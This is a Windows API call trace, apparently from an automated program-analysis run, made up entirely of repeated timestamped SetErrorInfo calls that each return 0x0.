[0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.396] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.399] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.400] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.401] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.403] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.404] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.406] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.407] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.408] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.411] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.412] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.413] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.414] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.415] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.416] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0065.417] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 